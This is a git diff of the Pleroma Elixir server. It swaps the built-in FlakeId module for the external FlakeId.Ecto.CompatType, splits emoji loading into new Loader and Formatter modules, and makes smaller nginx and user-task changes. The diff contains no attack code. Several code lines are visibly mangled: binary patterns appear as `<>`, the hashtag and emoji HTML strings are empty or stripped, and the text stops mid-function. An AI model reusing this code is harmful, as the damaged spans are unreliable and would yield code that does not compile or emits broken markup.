a/installation/pleroma.nginx +++ b/installation/pleroma.nginx @@ -70,6 +70,7 @@ server { proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $http_host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only # and `localhost.` resolves to [::0] on some systems: see issue #930 diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex index 238d8dcd9..881a6f725 100644 --- a/lib/mix/tasks/pleroma/emoji.ex +++ b/lib/mix/tasks/pleroma/emoji.ex @@ -235,7 +235,7 @@ def run(["gen-pack", src]) do cwd: tmp_pack_dir ) - emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts) + emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts) File.write!(files_name, Jason.encode!(emoji_map, pretty: true)) diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index eb0052144..d93ba8dee 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -4,7 +4,6 @@ defmodule Mix.Tasks.Pleroma.User do use Mix.Task - import Ecto.Changeset import Mix.Pleroma alias Pleroma.User alias Pleroma.UserInviteToken @@ -228,9 +227,9 @@ def run(["unsubscribe", nickname]) do shell_info("Deactivating #{user.nickname}") User.deactivate(user) - {:ok, friends} = User.get_friends(user) - - Enum.each(friends, fn friend -> + user + |> User.get_friends() + |> Enum.each(fn friend -> user = User.get_cached_by_id(user.id) shell_info("Unsubscribing #{friend.nickname} from #{user.nickname}") @@ -405,7 +404,7 @@ def run(["delete_activities", nickname]) do start_pleroma() with %User{local: true} = user <- User.get_cached_by_nickname(nickname) do - {:ok, _} = User.delete_user_activities(user) + User.delete_user_activities(user) shell_info("User #{nickname} statuses deleted.") else _ -> @@ -443,39 +442,21 @@ def run(["sign_out", nickname]) do end defp set_moderator(user, value) do - info_cng = User.Info.admin_api_update(user.info, %{is_moderator: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_moderator: value})) shell_info("Moderator status of #{user.nickname}: #{user.info.is_moderator}") user end defp set_admin(user, value) do - info_cng = User.Info.admin_api_update(user.info, %{is_admin: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_admin: value})) shell_info("Admin status of #{user.nickname}: #{user.info.is_admin}") user end defp set_locked(user, value) do - info_cng = User.Info.user_upgrade(user.info, %{locked: value}) - - user_cng = - Ecto.Changeset.change(user) - |> put_embed(:info, info_cng) - - {:ok, user} = User.update_and_set_cache(user_cng) + {:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: value})) shell_info("Locked status of #{user.nickname}: #{user.info.locked}") user diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex index ec558168a..c1065611b 100644 --- a/lib/pleroma/activity.ex +++ b/lib/pleroma/activity.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Activity do @type t :: %__MODULE__{} @type actor :: String.t() - @primary_key {:id, Pleroma.FlakeId, autogenerate: true} + @primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true} # https://github.com/tootsuite/mastodon/blob/master/app/models/notification.rb#L19 @mastodon_notification_types %{ @@ -137,11 +137,18 @@ def get_by_ap_id_with_object(ap_id) do |> Repo.one() end + @spec get_by_id(String.t()) :: Activity.t() | nil def get_by_id(id) do - Activity - |> where([a], a.id == ^id) - |> restrict_deactivated_users() - |> Repo.one() + case FlakeId.flake_id?(id) do + true -> + Activity + |> where([a], a.id == ^id) + |> restrict_deactivated_users() + |> Repo.one() + + _ -> + nil + end end def get_by_id_with_object(id) do diff --git a/lib/pleroma/activity_expiration.ex b/lib/pleroma/activity_expiration.ex index bf57abca4..7ea5c48ca 100644 --- a/lib/pleroma/activity_expiration.ex +++ b/lib/pleroma/activity_expiration.ex @@ -7,7 +7,6 @@ defmodule Pleroma.ActivityExpiration do alias Pleroma.Activity alias Pleroma.ActivityExpiration - alias Pleroma.FlakeId alias Pleroma.Repo import Ecto.Changeset @@ -17,7 +16,7 @@ defmodule Pleroma.ActivityExpiration do @min_activity_lifetime :timer.hours(1) schema "activity_expirations" do - belongs_to(:activity, Activity, type: FlakeId) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) field(:scheduled_at, :naive_datetime) end diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index dabce771d..7aec2c545 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -35,7 +35,6 @@ def start(_type, _args) do Pleroma.Config.TransferTask, Pleroma.Emoji, Pleroma.Captcha, - Pleroma.FlakeId, Pleroma.Daemons.ScheduledActivityDaemon, Pleroma.Daemons.ActivityExpirationDaemon ] ++ @@ -102,10 +101,14 @@ defp cachex_children do build_cachex("rich_media", default_ttl: :timer.minutes(120), limit: 5000), build_cachex("scrubber", limit: 2500), build_cachex("idempotency", expiration: idempotency_expiration(), limit: 2500), - build_cachex("web_resp", limit: 2500) + build_cachex("web_resp", limit: 2500), + build_cachex("emoji_packs", expiration: emoji_packs_expiration(), limit: 10) ] end + defp emoji_packs_expiration, + do: expiration(default: :timer.seconds(5 * 60), interval: :timer.seconds(60)) + defp idempotency_expiration, do: expiration(default: :timer.seconds(6 * 60 * 60), interval: :timer.seconds(60)) diff --git a/lib/pleroma/bbs/handler.ex b/lib/pleroma/bbs/handler.ex index 0a381f592..fa838a4e4 100644 --- a/lib/pleroma/bbs/handler.ex +++ b/lib/pleroma/bbs/handler.ex @@ -42,7 +42,7 @@ defp loop(state) do end def puts_activity(activity) do - status = Pleroma.Web.MastodonAPI.StatusView.render("status.json", %{activity: activity}) + status = Pleroma.Web.MastodonAPI.StatusView.render("show.json", %{activity: activity}) IO.puts("-- #{status.id} by #{status.account.display_name} (#{status.account.acct})") IO.puts(HtmlSanitizeEx.strip_tags(status.content)) IO.puts("") diff --git a/lib/pleroma/bookmark.ex b/lib/pleroma/bookmark.ex index d976f949c..221a94f34 100644 --- a/lib/pleroma/bookmark.ex +++ b/lib/pleroma/bookmark.ex @@ -10,20 +10,20 @@ defmodule Pleroma.Bookmark do alias Pleroma.Activity alias Pleroma.Bookmark - alias Pleroma.FlakeId alias Pleroma.Repo alias Pleroma.User @type t :: %__MODULE__{} schema "bookmarks" do - belongs_to(:user, User, type: FlakeId) - belongs_to(:activity, Activity, type: FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) + belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) timestamps() end - @spec create(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()} + @spec create(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) :: + {:ok, Bookmark.t()} | {:error, Changeset.t()} def create(user_id, activity_id) do attrs = %{ user_id: user_id, @@ -37,7 +37,7 @@ def create(user_id, activity_id) do |> Repo.insert() end - @spec for_user_query(FlakeId.t()) :: Ecto.Query.t() + @spec for_user_query(FlakeId.Ecto.CompatType.t()) :: Ecto.Query.t() def for_user_query(user_id) do Bookmark |> where(user_id: ^user_id) @@ -52,7 +52,8 @@ def get(user_id, activity_id) do |> Repo.one() end - @spec destroy(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()} + @spec destroy(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) :: + {:ok, Bookmark.t()} | {:error, Changeset.t()} def destroy(user_id, activity_id) do from(b in Bookmark, where: b.user_id == ^user_id, diff --git a/lib/pleroma/conversation/participation.ex b/lib/pleroma/conversation/participation.ex index ea5b9fe17..e946f6de2 100644 --- a/lib/pleroma/conversation/participation.ex +++ b/lib/pleroma/conversation/participation.ex @@ -13,10 +13,10 @@ defmodule Pleroma.Conversation.Participation do import Ecto.Query schema "conversation_participations" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:conversation, Conversation) field(:read, :boolean, default: false) - field(:last_activity_id, Pleroma.FlakeId, virtual: true) + field(:last_activity_id, FlakeId.Ecto.CompatType, virtual: true) has_many(:recipient_ships, RecipientShip) has_many(:recipients, through: [:recipient_ships, :user]) diff --git a/lib/pleroma/conversation/participation_recipient_ship.ex b/lib/pleroma/conversation/participation_recipient_ship.ex index 932cbd04c..e3d158cbc 100644 --- a/lib/pleroma/conversation/participation_recipient_ship.ex +++ b/lib/pleroma/conversation/participation_recipient_ship.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Conversation.Participation.RecipientShip do import Ecto.Changeset schema "conversation_participation_recipient_ships" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:participation, Participation) end diff --git a/lib/pleroma/delivery.ex b/lib/pleroma/delivery.ex index 29a1e5a77..1d586a252 100644 --- a/lib/pleroma/delivery.ex +++ b/lib/pleroma/delivery.ex @@ -6,7 +6,6 @@ defmodule Pleroma.Delivery do use Ecto.Schema alias Pleroma.Delivery - alias Pleroma.FlakeId alias Pleroma.Object alias Pleroma.Repo alias Pleroma.User @@ -16,7 +15,7 @@ defmodule Pleroma.Delivery do import Ecto.Query schema "deliveries" do - belongs_to(:user, User, type: FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:object, Object) end diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index 66e20f0e4..bafad2ae9 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -4,24 +4,37 @@ defmodule Pleroma.Emoji do @moduledoc """ - The emojis are loaded from: - - * emoji packs in INSTANCE-DIR/emoji - * the files: `config/emoji.txt` and `config/custom_emoji.txt` - * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder - - This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime. + This GenServer stores in an ETS table the list of the loaded emojis, + and also allows to reload the list at runtime. """ use GenServer + alias Pleroma.Emoji.Loader + require Logger - @type pattern :: Regex.t() | module() | String.t() - @type patterns :: pattern() | [pattern()] - @type group_patterns :: keyword(patterns()) - @ets __MODULE__.Ets - @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}] + @ets_options [ + :ordered_set, + :protected, + :named_table, + {:read_concurrency, true} + ] + + defstruct [:code, :file, :tags, :safe_code, :safe_file] + + @doc "Build emoji struct" + def build({code, file, tags}) do + %__MODULE__{ + code: code, + file: file, + tags: tags, + safe_code: Pleroma.HTML.strip_tags(code), + safe_file: Pleroma.HTML.strip_tags(file) + } + end + + def build({code, file}), do: build({code, file, []}) @doc false def start_link(_) do @@ -44,11 +57,14 @@ def get(name) do end @doc "Returns all the emojos!!" - @spec get_all() :: [{String.t(), String.t()}, ...] + @spec get_all() :: list({String.t(), String.t(), String.t()}) def get_all do :ets.tab2list(@ets) end + @doc "Clear out old emojis" + def clear_all, do: :ets.delete_all_objects(@ets) + @doc false def init(_) do @ets = :ets.new(@ets, @ets_options) @@ -58,13 +74,13 @@ def init(_) do @doc false def handle_cast(:reload, state) do - load() + update_emojis(Loader.load()) {:noreply, state} end @doc false def handle_call(:reload, _from, state) do - load() + update_emojis(Loader.load()) {:reply, :ok, state} end @@ -75,189 +91,11 @@ def terminate(_, _) do @doc false def code_change(_old_vsn, state, _extra) do - load() + update_emojis(Loader.load()) {:ok, state} end - defp load do - emoji_dir_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - emoji_groups = Pleroma.Config.get([:emoji, :groups]) - - case File.ls(emoji_dir_path) do - {:error, :enoent} -> - # The custom emoji directory doesn't exist, - # don't do anything - nil - - {:error, e} -> - # There was some other error - Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") - - {:ok, results} -> - grouped = - Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end) - - packs = grouped[true] || [] - files = grouped[false] || [] - - # Print the packs we've found - Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") - - if not Enum.empty?(files) do - Logger.warn( - "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ - Enum.join(files, ", ") - }" - ) - end - - emojis = - Enum.flat_map( - packs, - fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end - ) - - true = :ets.insert(@ets, emojis) - end - - # Compat thing for old custom emoji handling & default emoji, - # it should run even if there are no emoji packs - shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], []) - - emojis = - (load_from_file("config/emoji.txt", emoji_groups) ++ - load_from_file("config/custom_emoji.txt", emoji_groups) ++ - load_from_globs(shortcode_globs, emoji_groups)) - |> Enum.reject(fn value -> value == nil end) - - true = :ets.insert(@ets, emojis) - - :ok - end - - defp load_pack(pack_dir, emoji_groups) do - pack_name = Path.basename(pack_dir) - - emoji_txt = Path.join(pack_dir, "emoji.txt") - - if File.exists?(emoji_txt) do - load_from_file(emoji_txt, emoji_groups) - else - extensions = Pleroma.Config.get([:emoji, :pack_extensions]) - - Logger.info( - "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji" - ) - - make_shortcode_to_file_map(pack_dir, extensions) - |> Enum.map(fn {shortcode, rel_file} -> - filename = Path.join("/emoji/#{pack_name}", rel_file) - - {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} - end) - end - end - - def make_shortcode_to_file_map(pack_dir, exts) do - find_all_emoji(pack_dir, exts) - |> Enum.map(&Path.relative_to(&1, pack_dir)) - |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) - |> Enum.into(%{}) - end - - def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) - - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end - end - ) - |> Enum.filter(fn f -> Path.extname(f) in exts end) - end - - defp load_from_file(file, emoji_groups) do - if File.exists?(file) do - load_from_file_stream(File.stream!(file), emoji_groups) - else - [] - end - end - - defp load_from_file_stream(stream, emoji_groups) do - stream - |> Stream.map(&String.trim/1) - |> Stream.map(fn line -> - case String.split(line, ~r/,\s*/) do - [name, file] -> - {name, file, [to_string(match_extra(emoji_groups, file))]} - - [name, file | tags] -> - {name, file, tags} - - _ -> - nil - end - end) - |> Enum.to_list() - end - - defp load_from_globs(globs, emoji_groups) do - static_path = Path.join(:code.priv_dir(:pleroma), "static") - - paths = - Enum.map(globs, fn glob -> - Path.join(static_path, glob) - |> Path.wildcard() - end) - |> Enum.concat() - - Enum.map(paths, fn path -> - tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) - shortcode = Path.basename(path, Path.extname(path)) - external_path = Path.join("/", Path.relative_to(path, static_path)) - {shortcode, external_path, [to_string(tag)]} - end) - end - - @doc """ - Finds a matching group for the given emoji filename - """ - @spec match_extra(group_patterns(), String.t()) :: atom() | nil - def match_extra(group_patterns, filename) do - match_group_patterns(group_patterns, fn pattern -> - case pattern do - %Regex{} = regex -> Regex.match?(regex, filename) - string when is_binary(string) -> filename == string - end - end) - end - - defp match_group_patterns(group_patterns, matcher) do - Enum.find_value(group_patterns, fn {group, patterns} -> - patterns = - patterns - |> List.wrap() - |> Enum.map(fn pattern -> - if String.contains?(pattern, "*") do - ~r(#{String.replace(pattern, "*", ".*")}) - else - pattern - end - end) - - Enum.any?(patterns, matcher) && group - end) + defp update_emojis(emojis) do + :ets.insert(@ets, emojis) end end diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex new file mode 100644 index 000000000..4869d073e --- /dev/null +++ b/lib/pleroma/emoji/formatter.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Formatter do + alias Pleroma.Emoji + alias Pleroma.HTML + alias Pleroma.Web.MediaProxy + + def emojify(text) do + emojify(text, Emoji.get_all()) + end + + def emojify(text, nil), do: text + + def emojify(text, emoji, strip \\ false) do + Enum.reduce(emoji, text, fn + {_, %Emoji{safe_code: emoji, safe_file: file}}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + + {unsafe_emoji, unsafe_file}, text -> + emoji = HTML.strip_tags(unsafe_emoji) + file = HTML.strip_tags(unsafe_file) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" + end + + def demojify(text) do + emojify(text, Emoji.get_all(), true) + end + + def demojify(text, nil), do: text + + @doc "Outputs a list of the emoji-shortcodes in a text" + def get_emoji(text) when is_binary(text) do + Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} -> + String.contains?(text, ":#{emoji}:") + end) + end + + def get_emoji(_), do: [] + + @doc "Outputs a list of the emoji-Maps in a text" + def get_emoji_map(text) when is_binary(text) do + get_emoji(text) + |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc -> + Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") + end) + end + + def get_emoji_map(_), do: [] +end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex new file mode 100644 index 000000000..4f4ee51d1 --- /dev/null +++ b/lib/pleroma/emoji/loader.ex @@ -0,0 +1,224 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Loader do + @moduledoc """ + The Loader emoji from: + + * emoji packs in INSTANCE-DIR/emoji + * the files: `config/emoji.txt` and `config/custom_emoji.txt` + * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder + """ + alias Pleroma.Config + alias Pleroma.Emoji + + require Logger + + @type pattern :: Regex.t() | module() | String.t() + @type patterns :: pattern() | [pattern()] + @type group_patterns :: keyword(patterns()) + @type emoji :: {String.t(), Emoji.t()} + + @doc """ + Loads emojis from files/packs. + + returns list emojis in format: + `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}` + """ + @spec load() :: list(emoji) + def load do + emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji") + + emoji_groups = Config.get([:emoji, :groups]) + + emojis = + case File.ls(emoji_dir_path) do + {:error, :enoent} -> + # The custom emoji directory doesn't exist, + # don't do anything + [] + + {:error, e} -> + # There was some other error + Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") + [] + + {:ok, results} -> + grouped = + Enum.group_by(results, fn file -> + File.dir?(Path.join(emoji_dir_path, file)) + end) + + packs = grouped[true] || [] + files = grouped[false] || [] + + # Print the packs we've found + Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") + + if not Enum.empty?(files) do + Logger.warn( + "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ + Enum.join(files, ", ") + }" + ) + end + + emojis = + Enum.flat_map(packs, fn pack -> + load_pack(Path.join(emoji_dir_path, pack), emoji_groups) + end) + + Emoji.clear_all() + emojis + end + + # Compat thing for old custom emoji handling & default emoji, + # it should run even if there are no emoji packs + shortcode_globs = Config.get([:emoji, :shortcode_globs], []) + + emojis_txt = + (load_from_file("config/emoji.txt", emoji_groups) ++ + load_from_file("config/custom_emoji.txt", emoji_groups) ++ + load_from_globs(shortcode_globs, emoji_groups)) + |> Enum.reject(fn value -> value == nil end) + + Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) + end + + defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)} + + defp load_pack(pack_dir, emoji_groups) do + pack_name = Path.basename(pack_dir) + + pack_file = Path.join(pack_dir, "pack.json") + + if File.exists?(pack_file) do + contents = Jason.decode!(File.read!(pack_file)) + + contents["files"] + |> Enum.map(fn {name, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + {name, filename, ["pack:#{pack_name}"]} + end) + else + # Load from emoji.txt / all files + emoji_txt = Path.join(pack_dir, "emoji.txt") + + if File.exists?(emoji_txt) do + load_from_file(emoji_txt, emoji_groups) + else + extensions = Pleroma.Config.get([:emoji, :pack_extensions]) + + Logger.info( + "No emoji.txt found for pack \"#{pack_name}\", assuming all #{ + Enum.join(extensions, ", ") + } files are emoji" + ) + + make_shortcode_to_file_map(pack_dir, extensions) + |> Enum.map(fn {shortcode, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + + {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} + end) + end + end + end + + def make_shortcode_to_file_map(pack_dir, exts) do + find_all_emoji(pack_dir, exts) + |> Enum.map(&Path.relative_to(&1, pack_dir)) + |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) + |> Enum.into(%{}) + end + + def find_all_emoji(dir, exts) do + dir + |> File.ls!() + |> Enum.flat_map(fn f -> + filepath = Path.join(dir, f) + + if File.dir?(filepath) do + find_all_emoji(filepath, exts) + else + [filepath] + end + end) + |> Enum.filter(fn f -> Path.extname(f) in exts end) + end + + defp load_from_file(file, emoji_groups) do + if File.exists?(file) do + load_from_file_stream(File.stream!(file), emoji_groups) + else + [] + end + end + + defp load_from_file_stream(stream, emoji_groups) do + stream + |> Stream.map(&String.trim/1) + |> Stream.map(fn line -> + case String.split(line, ~r/,\s*/) do + [name, file] -> + {name, file, [to_string(match_extra(emoji_groups, file))]} + + [name, file | tags] -> + {name, file, tags} + + _ -> + nil + end + end) + |> Enum.to_list() + end + + defp load_from_globs(globs, emoji_groups) do + static_path = Path.join(:code.priv_dir(:pleroma), "static") + + paths = + Enum.map(globs, fn glob -> + Path.join(static_path, glob) + |> Path.wildcard() + end) + |> Enum.concat() + + Enum.map(paths, fn path -> + tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) + shortcode = Path.basename(path, Path.extname(path)) + external_path = Path.join("/", Path.relative_to(path, static_path)) + {shortcode, external_path, [to_string(tag)]} + end) + end + + @doc """ + Finds a matching group for the given emoji filename + """ + @spec match_extra(group_patterns(), String.t()) :: atom() | nil + def match_extra(group_patterns, filename) do + match_group_patterns(group_patterns, fn pattern -> + case pattern do + %Regex{} = regex -> Regex.match?(regex, filename) + string when is_binary(string) -> filename == string + end + end) + end + + defp match_group_patterns(group_patterns, matcher) do + Enum.find_value(group_patterns, fn {group, patterns} -> + patterns = + patterns + |> List.wrap() + |> Enum.map(fn pattern -> + if String.contains?(pattern, "*") do + ~r(#{String.replace(pattern, "*", ".*")}) + else + pattern + end + end) + + Enum.any?(patterns, matcher) && group + end) + end +end diff --git a/lib/pleroma/filter.ex b/lib/pleroma/filter.ex index 90457dadf..c87141582 100644 --- a/lib/pleroma/filter.ex +++ b/lib/pleroma/filter.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Filter do alias Pleroma.User schema "filters" do - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) field(:filter_id, :integer) field(:hide, :boolean, default: false) field(:whole_word, :boolean, default: true) diff --git a/lib/pleroma/flake_id.ex b/lib/pleroma/flake_id.ex deleted file mode 100644 index 042cf8659..000000000 --- a/lib/pleroma/flake_id.ex +++ /dev/null @@ -1,182 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeId do - @moduledoc """ - Flake is a decentralized, k-ordered id generation service. - - Adapted from: - - * [flaky](https://github.com/nirvana/flaky), released under the terms of the Truly Free License, - * [Flake](https://github.com/boundary/flake), Copyright 2012, Boundary, Apache License, Version 2.0 - """ - - @type t :: binary - - use Ecto.Type - use GenServer - require Logger - alias __MODULE__ - import Kernel, except: [to_string: 1] - - defstruct node: nil, time: 0, sq: 0 - - @doc "Converts a binary Flake to a String" - def to_string(<<0::integer-size(64), id::integer-size(64)>>) do - Kernel.to_string(id) - end - - def to_string(<<_::integer-size(64), _::integer-size(48), _::integer-size(16)>> = flake) do - encode_base62(flake) - end - - def to_string(s), do: s - - def from_string(int) when is_integer(int) do - from_string(Kernel.to_string(int)) - end - - for i <- [-1, 0] do - def from_string(unquote(i)), do: <<0::integer-size(128)>> - def from_string(unquote(Kernel.to_string(i))), do: <<0::integer-size(128)>> - end - - def from_string(<<_::integer-size(128)>> = flake), do: flake - - def from_string(string) when is_binary(string) and byte_size(string) < 18 do - case Integer.parse(string) do - {id, ""} -> <<0::integer-size(64), id::integer-size(64)>> - _ -> nil - end - end - - def from_string(string) do - string |> decode_base62 |> from_integer - end - - def to_integer(<>), do: integer - - def from_integer(integer) do - <<_time::integer-size(64), _node::integer-size(48), _seq::integer-size(16)>> = - <> - end - - @doc "Generates a Flake" - @spec get :: binary - def get, do: to_string(:gen_server.call(:flake, :get)) - - # checks that ID is is valid FlakeID - # - @spec is_flake_id?(String.t()) :: boolean - def is_flake_id?(id), do: is_flake_id?(String.to_charlist(id), true) - defp is_flake_id?([c | cs], true) when c >= ?0 and c <= ?9, do: is_flake_id?(cs, true) - defp is_flake_id?([c | cs], true) when c >= ?A and c <= ?Z, do: is_flake_id?(cs, true) - defp is_flake_id?([c | cs], true) when c >= ?a and c <= ?z, do: is_flake_id?(cs, true) - defp is_flake_id?([], true), do: true - defp is_flake_id?(_, _), do: false - - # -- Ecto.Type API - @impl Ecto.Type - def type, do: :uuid - - @impl Ecto.Type - def cast(value) do - {:ok, FlakeId.to_string(value)} - end - - @impl Ecto.Type - def load(value) do - {:ok, FlakeId.to_string(value)} - end - - @impl Ecto.Type - def dump(value) do - {:ok, FlakeId.from_string(value)} - end - - def autogenerate, do: get() - - # -- GenServer API - def start_link(_) do - :gen_server.start_link({:local, :flake}, __MODULE__, [], []) - end - - @impl GenServer - def init([]) do - {:ok, %FlakeId{node: worker_id(), time: time()}} - end - - @impl GenServer - def handle_call(:get, _from, state) do - {flake, new_state} = get(time(), state) - {:reply, flake, new_state} - end - - # Matches when the calling time is the same as the state time. Incr. sq - defp get(time, %FlakeId{time: time, node: node, sq: seq}) do - new_state = %FlakeId{time: time, node: node, sq: seq + 1} - {gen_flake(new_state), new_state} - end - - # Matches when the times are different, reset sq - defp get(newtime, %FlakeId{time: time, node: node}) when newtime > time do - new_state = %FlakeId{time: newtime, node: node, sq: 0} - {gen_flake(new_state), new_state} - end - - # Error when clock is running backwards - defp get(newtime, %FlakeId{time: time}) when newtime < time do - {:error, :clock_running_backwards} - end - - defp gen_flake(%FlakeId{time: time, node: node, sq: seq}) do - <> - end - - defp nthchar_base62(n) when n <= 9, do: ?0 + n - defp nthchar_base62(n) when n <= 35, do: ?A + n - 10 - defp nthchar_base62(n), do: ?a + n - 36 - - defp encode_base62(<>) do - integer - |> encode_base62([]) - |> List.to_string() - end - - defp encode_base62(int, acc) when int < 0, do: encode_base62(-int, acc) - defp encode_base62(int, []) when int == 0, do: '0' - defp encode_base62(int, acc) when int == 0, do: acc - - defp encode_base62(int, acc) do - r = rem(int, 62) - id = div(int, 62) - acc = [nthchar_base62(r) | acc] - encode_base62(id, acc) - end - - defp decode_base62(s) do - decode_base62(String.to_charlist(s), 0) - end - - defp decode_base62([c | cs], acc) when c >= ?0 and c <= ?9, - do: decode_base62(cs, 62 * acc + (c - ?0)) - - defp decode_base62([c | cs], acc) when c >= ?A and c <= ?Z, - do: decode_base62(cs, 62 * acc + (c - ?A + 10)) - - defp decode_base62([c | cs], acc) when c >= ?a and c <= ?z, - do: decode_base62(cs, 62 * acc + (c - ?a + 36)) - - defp decode_base62([], acc), do: acc - - defp time do - {mega_seconds, seconds, micro_seconds} = :erlang.timestamp() - 1_000_000_000 * mega_seconds + seconds * 1000 + :erlang.trunc(micro_seconds / 1000) - end - - defp worker_id do - <> = :crypto.strong_rand_bytes(6) - worker - end -end diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 607843a5b..931b9af2b 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -3,10 +3,8 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Formatter do - alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User - alias Pleroma.Web.MediaProxy @safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @@ -36,9 +34,9 @@ def mention_handler("@" <> nickname, buffer, opts, acc) do nickname_text = get_nickname_text(nickname, opts) link = - "@#{ + ~s(@#{ nickname_text - }" + }) {link, %{acc | mentions: MapSet.put(acc.mentions, {"@" <> nickname, user})}} @@ -50,7 +48,7 @@ def mention_handler("@" <> nickname, buffer, opts, acc) do def hashtag_handler("#" <> tag = tag_text, _buffer, _opts, acc) do tag = String.downcase(tag) url = "#{Pleroma.Web.base_url()}/tag/#{tag}" - link = "" + link = ~s(#{tag_text}) {link, %{acc | tags: MapSet.put(acc.tags, {tag_text, tag})}} end @@ -100,51 +98,6 @@ def mentions_escape(text, options \\ []) do end end - def emojify(text) do - 